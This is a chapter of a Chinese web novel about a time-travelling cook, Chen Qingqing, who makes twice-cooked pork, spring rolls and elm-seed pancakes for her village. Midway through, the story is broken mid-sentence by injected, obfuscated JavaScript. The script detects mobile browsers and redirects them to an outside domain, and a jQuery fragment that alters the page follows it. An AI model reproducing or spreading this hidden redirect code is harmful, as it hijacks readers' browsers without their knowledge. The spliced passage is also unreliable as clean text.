做一盘回锅肉用不到一斤肉,郑屠倒也大方,割了一斤多肉非叫陈青青提着。 “小娘子受累,多做些你也一块吃些。”郑屠说着又要给做菜的钱。 “郑屠这样大方,倒叫我不好意思了。”陈青青笑道,“配菜我出了,工钱看着给就成。” 陈青青也不知道如今厨娘做菜的价钱,只叫看着给。 郑屠数了三十文钱来,他是知道的,若是真做得好,这三十文也是给少了。 要知道若是请厨娘专门做道菜,那可不是自己能请得起的。 陈青青收了十五文,“我还沾你的光吃一回肉呢。” 自己只出个配菜,十五文也不少了。 这也是陈青青不知道厨娘的收入行情,真要是请厨娘做菜那可不是一般人请得起的。 陈青青拿了肉回家,先把肉泡进水里去去血腥气。 因为有了上回的经验,这回再做便轻车熟路了。 肉先切成大块焯水,再切片加上青蒜苗炒出来,盛了满满登登一大盘再带一小盘。 小盘留下自己吃,大盘放食盒里,陈青青送到了郑屠那里。 郑屠正昐着呢,远远看陈青青来了竟不由迎了上去。 今儿偏巧,肉卖得快些,郑屠早早收拾好了摊子,就等着陈青青来了。 食盒一打开,肉香随着热气扑面而来。再看盘里,蒜苗青绿,肉色红亮带汁。肉香和着蒜苗的香气引得郑屠忍不住咽了下口水。 郑屠迫不及待地把盘子端了出来,“小娘子,一看这菜的卖相我就知道是好吃的!” 急忙用筷子夹一块肉入口,郑屠直想喊天爷,就算等了这么长时候,也是值的! “天爷,我终于吃上好吃的猪肉了!” 21. 尝春鲜 今年的节气早,清明在二月里。俗话说“三月清明花不老,二月清明老了花”,不到清明各种花便开了。樱桃花和杏花谢了,桃花正是盛放时。 门前的柳树绿枝迎风,榆树上的榆钱儿也长大了。 就连做树篱的枳树也在枝上隐隐鼓起了花苞。 正是尝春鲜的时候。 陈青青觉得做春卷了,当然她也是馋了。 春卷可卷一切,陈青青可记得这句话。 说起春卷可是由来久之。 春卷又叫春饼,春盘,是春天里最富春意的吃食。 春盘始于晋代,最开始叫做五辛盘。所谓春盘就是在立春的时候,做薄饼摊在盘中,再加上蔬菜一起食用。而五辛盘就是有五种辛荤的蔬菜,比如小蒜、大蒜、韭、芸薹、胡荽等等。 唐宋时期开始,吃春盘的风气更加盛行。 杜甫的诗句“春日春盘细生菜”,陆游的诗句“春日春盘节物新”便是描写春天里吃春盘的情景。 明代《本草纲目》中记载,“以葱、蒜、韭、蓼、蒿、芥辛嫩之菜杂和食之,谓之五辛盘。” 后来,春盘慢慢演变成了春饼,清朝的时候春卷的名字开始出现。 再后来到了现代,春卷已变得更加丰富多样。 春卷皮追求薄如蝉翼,卷的馅料也更多了。可以卷豆芽、韭黄、豆腐干,可以卷猪肉丝、鸭肉丝、鸡肉丝,可以卷虾仁、笋丝、蟹肉,也可以卷豆沙、坚果、果酱等等。 只要你想,万物皆可卷。 春卷也不再是春日里的时令小吃,只要你想,任何时候都可以买到。 而春卷用微火油炸至金黄色,外酥内嫩,便成了“炸春”。 这是陈青青最喜欢吃的一种春卷吃法了。 略一回想,陈青青的馋虫便被勾起来了。 说做就做! 以前妈妈常做春卷,陈青青倒是跟着上手过几回,所以这下做起来更有把握了。 做春卷皮有好几种方法,陈青青喜欢妈妈的做法。 和做饺子皮差不多,先和面。 和面的时候也有讲究,水用温水,加少许盐,和好的面先醒一会儿再用。 接下来是擀面皮,和擀饺子皮一样。 擀好的“饺子皮”每一层涂油,差不多三到四张摞起来一起擀。当然这要看个人的技术,以前妈妈做的时候一次能擀十张,陈青青也只能摞四张。 擀好的面皮放在蒸笼上,锅里的水开了放上蒸笼,中火蒸差不多一刻钟, 趁热把面皮撕开,春卷皮就做好了。 当然这个趁热撕面皮要讲究个热度和速度,速度慢了不热了,面皮容易撕破,既不好用也不好看,影响菜的品质。 至于春卷的馅料,陈青青也想好了,如今家里的菜也就那几样,菘菜、韭菜、菠菜、萝卜还有荠菜,足够了。 做个什锦菜蔬卷正好。 陈青青把菜洗净,将焯过水的菠菜切段,韭菜切段,菘菜心和萝卜切成细丝,荠菜焯水切碎,猪肉焯过水切成肉丝,菜便备好了。 菘菜、荠菜和猪肉丝一起炒好,其他菜直接卷就可以。 陈青青把春卷皮和满满两盘菜端到了桌上,招呼阿娘吃饭。 如今田娘子已经练得处事不惊了,就算闺女弄出一大桌子菜来,田娘子也不惊讶。反正闺女的做的饭只有一个“好吃”,吃就是。 可等田娘子真拿起春卷皮还是不禁赞了一句:“这个春盘饼好薄!” “青青,你是怎么做出来的,三个都没有我做的一个厚。” 原来刚才自己做皮的时候阿娘去忙别的了,没看到。陈青青便把做法和阿娘说了,田娘子直夸闺女巧心思。 陈青青嘿嘿笑了,这是多少人总结出来的法子,倒不是自己心思巧。 当然这也没法和阿娘说,只拿了春卷皮给阿娘卷了菜,递到她手里,“阿娘尝尝,这叫什锦春卷。” “春卷这名字好哩。”田娘子觉得春卷这个“卷”字很形象,把菜放里面这么一卷,可不就叫春卷。 田娘子接了春卷咬一口,便不再说话了,只细细品尝。 皮是软的菜是脆的肉是鲜的,咬一口饼香菜香肉香混织在一起,田娘子觉得以前自己吃的春盘都是白吃了,比不上这一口的味道。 “阿娘,把菜这样卷起来,再放油锅里那么一炸,才叫更好吃!” 陈青青边说着边卷了一个,两头包得严严实实的,这样放油里炸才不露菜。 想象一下,炸好的春卷,黄橙橙的外皮酥脆,内馅鲜美…… 打住,不能再想了,真要流口水了。 陈青青停止了对炸春卷的想象。 哎,还是没钱呀,家里油也少,不舍得炸。要是以后有钱了,我就炸上满满的一大盆,吃个够! 田娘子没吃过这样的炸春卷,自然也不知道陈青青心里的纠结。 “青青,这个可以在食摊上卖吧?” 卖倒是能卖,不过如今的春盘是时令的吃食,再说和菜煎饼又有点撞了,还是等以后开了饭馆,我卖炸春卷好了。 陈青青把春卷打算以后开饭馆再卖的话说了,倒叫田娘子一阵笑,“还真开饭馆呀,不做厨娘了?” 田娘子是真不敢想开饭馆的事,在她看来若是能做厨娘就算是好日子了。 “开,一定能开的!”陈青青雄心于怀斗志昂扬。 手握“制胜密码”,不发扬光大,简直天理难容! 吃过春卷吃榆钱。 眼看着树上的榆钱越长越大,再不吃它可就老了。 榆钱有很多种吃法,可以做榆钱窝窝,榆钱团子,榆钱饼,做汤做菜,各种样式的吃法。 陈青青打算做榆钱饼,家里有面有鸡子有鏊子,配料和工具都是现成的。 以前妈妈做过榆钱饼,陈青青记得做法。 村里不缺榆树,榆钱采来容易。 边摘榆钱,田娘子边和闺女闲话,“年头不好的时候,这可是好东西。别说榆钱了,野菜都给挖得光光的。” “也就如今还过得去,吃这个的少了,要不咱们也摘不着。” 陈青青爱听田娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351150|180861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子闲聊,听阿娘话音里,如今是太平盛世,百姓安居乐业,是好年头。 看来当今的皇帝算是个明君。 人在乱世狗不如。陈青青还是蛮庆幸自己穿到这个安宁的古代。 摘来的榆钱洗净,焯水。 给榆钱焯水的时候,陈青青不禁笑了,菠菜焯水,荠菜焯水,香椿焯水,猪肉也要焯水,这榆钱也焯水。看来自己的秘笈就是焯水大法! 焯过水的榆钱去了生,变得又软又绿,做榆钱饼最好不过了。 鸡子、面粉、水、榆钱、葱花再加少许盐,混在一起搅拌均匀成面糊状就可以煎榆钱饼了。 也不用锅,陈青青直接在鏊子上抹上油,面糊倒在鏊子中央,和摊煎饼差不多,用竹刮板快速摊开面糊,然后再翻个面,等两面都煎到金黄便可以装盘了。 摊煎饼本就是做惯了的活,陈青青做起榆钱饼来一样娴熟。 陈青青把饼切成小块,放盘里端上了桌子。 金黄点着翠绿的榆钱饼放粗白瓷盘里,倒也相得益彰。 拈一块放嘴里细细品尝,榆钱带着清甜气息沁入口中,嚼起来软糯中又带着点韧意,真是意外的鲜嫩香甜。 “好吃!”陈青青嘴里吃着榆钱饼有些含糊不清,“阿娘快尝尝!” 田娘子看闺女那样笑着拿了一块,吃一口也是点头称赞:“我闺女的手艺可真不得了,这么平常的榆钱也做出这样的美味来!” 我就说好吃吧! 陈青青美滋滋地吃了个够。只中可惜呀,只春天这么一阵子能吃上,叫人难免感叹,时光易逝,美味不常在! 陈青青到底是乐观的性子,想到接下来还有槐花可以吃,到时樱桃也红了,杏子也熟了,更多的美味等着自己呢,不禁又失笑,自己搁这里伤春悲秋个啥! 第二天,陈青青索性在食摊上煎了榆钱饼,当做赠品送给消费多的食客。 “客官是小摊的常客了,我专门做了榆钱饼请客官尝尝鲜。”陈青青俏脸含笑,有熟客或是买得多的,便说上一句,再多煎个榆钱饼奉上。 榆钱饼做得小巧精致,带着诱人香气。 收到榆钱饼的食客莫不面带惊喜之色,这小娘子手艺了得,不知这榆钱饼又是怎样的美味。 再看向其他人,难免又有些傲娇之意,这是小娘子专门送的哎,你们都没有! 到了后来,竟有人点名来买榆钱饼,陈青青一时哭笑不得,说好是非卖品的,可不能坏了规矩。 陈青青索性把做榆钱饼的法子与人说了,焯水搅拌上锅煎。 榆钱饼做法简单,常做饭的人都能琢磨出来,陈青青也不藏私。 有人回去试着做了,也有人执意想吃陈青青做的。 小娘子手艺好,做出来也比旁人做的好吃! 见陈青青不卖,便有了别的主意,多买个菜煎饼或是多买几个茶叶蛋,这榆钱饼不就赠与了嘛! 陈青青没想到,自己无意之举,竟拉动了食摊的销量,也算是意外之喜了! 看着满满的钱匣子,陈青青笑得格外得意。